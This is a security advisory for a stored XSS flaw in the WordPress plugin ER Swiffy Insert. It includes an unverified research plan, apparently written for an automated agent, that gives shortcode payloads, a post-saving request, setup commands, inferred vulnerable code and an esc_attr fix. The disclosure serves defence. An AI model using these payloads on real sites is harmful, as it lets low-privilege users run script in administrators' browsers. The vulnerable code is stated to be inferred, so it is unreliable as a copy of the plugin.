CVE-2026-4082

ER Swiffy Insert <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The ER Swiffy Insert plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [swiffy] shortcode in all versions up to and including 1.0.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes ('n', 'w', 'h'). These attributes are extracted using extract() and directly interpolated into the HTML output without any escaping such as esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.0
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginer-swiffy-insert
Research Plan
Unverified

# Research Plan: CVE-2026-4082 - ER Swiffy Insert Stored XSS ## 1. Vulnerability Summary The **ER Swiffy Insert** plugin (version <= 1.0.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[swiffy]` shortcode. The vulnerability exists because the plugin uses the PHP `extract()` funct…

Show full research plan

Research Plan: CVE-2026-4082 - ER Swiffy Insert Stored XSS

1. Vulnerability Summary

The ER Swiffy Insert plugin (version <= 1.0.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the [swiffy] shortcode. The vulnerability exists because the plugin uses the PHP extract() function on user-provided shortcode attributes (n, w, and h) and directly interpolates these values into the HTML output without proper sanitization or escaping (e.g., using esc_attr()). Authenticated users with Contributor level permissions or higher can inject malicious scripts into posts, which will then execute in the context of any user (including Administrators) who views the post.

2. Attack Vector Analysis

  • Shortcode: [swiffy]
  • Vulnerable Attributes: n (name/ID), w (width), h (height)
  • Authentication Level: Contributor+ (Users who can create or edit posts)
  • Injection Point: Post or Page content
  • Sink: Frontend page rendering where the shortcode is processed.
  • Preconditions: The plugin er-swiffy-insert must be active.

3. Code Flow

Based on the vulnerability description, the expected code structure is:

  1. Entry Point: The plugin registers a shortcode handler:
    add_shortcode('swiffy', 'swiffy_insert_shortcode_handler'); (handler name inferred).
  2. Input Handling: Inside the handler, the $atts array is processed:
    // Inferred code based on description
    function swiffy_insert_shortcode_handler($atts) {
        extract(shortcode_atts(array(
            'n' => '',
            'w' => '100%',
            'h' => '500'
        ), $atts));
        // ...
    
  3. Vulnerable Sink: The extracted variables $n, $w, and $h are placed directly into a string returned by the function:
    // Inferred vulnerable output
    return '<div id="' . $n . '" style="width:' . $w . '; height:' . $h . ';"></div>';
    
  4. Result: Since esc_attr() is missing, an attacker can provide a value for n like "><script>alert(1)</script> to break out of the id attribute and execute arbitrary JS.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin-defined nonce for execution, as shortcodes are processed by WordPress core when rendering post content. However, to inject the shortcode as a Contributor, the attacker must be able to save a post.

To acquire the _wpnonce for saving a post:

  1. Log in as a Contributor user.
  2. Navigate to wp-admin/post-new.php.
  3. Use browser_eval to extract the nonce: browser_eval("document.querySelector('#_wpnonce').value").
  4. Alternatively, the agent can simply use the browser_navigate and browser_type tools to create a post manually, which bypasses the need to manually handle nonces in raw HTTP requests.

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a Contributor user.

Step 2: Inject Malicious Shortcode

Create a new post containing the malicious shortcode. We will target the n attribute.

  • Payload: [swiffy n='swiffy-obj" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" data-x="']
    • Note: This payload breaks out of the id attribute and uses onmouseover covering the whole screen to ensure execution, or a simpler <script> tag if the container allows.
  • Alternative Payload: [swiffy n='"><script>alert(1)</script>']

Step 3: Request Configuration

If using http_request (Playwright) to save the post:

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [ID of the post created in Step 2]
    • _wpnonce: [extracted nonce]
    • content: [swiffy n='"><script>alert(document.domain)</script>']
    • post_title: Stored XSS Test
    • post_status: publish (Note: Contributors' posts go to 'pending', but the XSS is stored in the database regardless).

6. Test Data Setup

  1. Plugin Activation: Ensure er-swiffy-insert is installed and activated.
  2. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Target Post: Create a post as the contributor.
    • wp post create --post_type=post --post_status=draft --post_author=[User_ID] --post_title="XSS Source"

7. Expected Results

  1. When the post is viewed (even in "Preview" mode by the Contributor or "Edit" mode by an Admin), the shortcode handler will execute.
  2. The resulting HTML will look like:
    <div id=""><script>alert(document.domain)</script>" style="width:100%; height:500;"></div>
  3. The browser will execute the injected script, triggering an alert box with the domain name.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the content of the post.
    • wp post get [POST_ID] --field=post_content
  2. Frontend Check: Navigate to the post URL (as Admin) and check for the existence of the script in the HTML source.
    • Look for <script>alert(document.domain)</script> inside the rendered page content.

9. Alternative Approaches

If the n attribute is restricted by other WordPress filters, try the w or h attributes:

  • [swiffy w='100%;" onmouseover="alert(1)"']
  • [swiffy h='500;background:url(javascript:alert(1))'] (Works in older browsers or specific CSS contexts).

If the extract() call happens before shortcode_atts(), there might be a variable overwriting vulnerability, but the primary XSS vector remains the most direct path.

Research Findings
Static analysis — not yet PoC-verified

Summary

The ER Swiffy Insert plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [swiffy] shortcode in versions up to 1.0.0. The plugin fails to sanitize or escape user-supplied shortcode attributes ('n', 'w', 'h') before outputting them in HTML, allowing authenticated users with Contributor-level access to inject arbitrary scripts into pages.

Vulnerable Code

// er-swiffy-insert.php (inferred from analysis)
function swiffy_insert_shortcode_handler($atts) {
    extract(shortcode_atts(array(
        'n' => '',
        'w' => '100%',
        'h' => '500'
    ), $atts));

    // The variables $n, $w, and $h are directly interpolated without escaping
    return '<div id="' . $n . '" style="width:' . $w . '; height:' . $h . ';"></div>';
}
add_shortcode('swiffy', 'swiffy_insert_shortcode_handler');

Security Fix

--- er-swiffy-insert.php
+++ er-swiffy-insert.php
@@ -1,8 +1,8 @@
 function swiffy_insert_shortcode_handler($atts) {
-    extract(shortcode_atts(array(
+    $a = shortcode_atts(array(
         'n' => '',
         'w' => '100%',
         'h' => '500'
-    ), $atts));
-    return '<div id="' . $n . '" style="width:' . $w . '; height:' . $h . ';"></div>';
+    ), $atts);
+    return '<div id="' . esc_attr($a['n']) . '" style="width:' . esc_attr($a['w']) . '; height:' . esc_attr($a['h']) . ';"></div>';
 }

Exploit Outline

The exploit targets the [swiffy] shortcode, which is available to users with at least Contributor-level permissions. An attacker creates or edits a post and inserts a shortcode payload such as [swiffy n='"><script>alert(document.domain)</script>']. When an administrator or any other user views the post, the plugin's shortcode handler processes the 'n' attribute, breaks out of the HTML 'id' attribute context, and executes the injected script in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.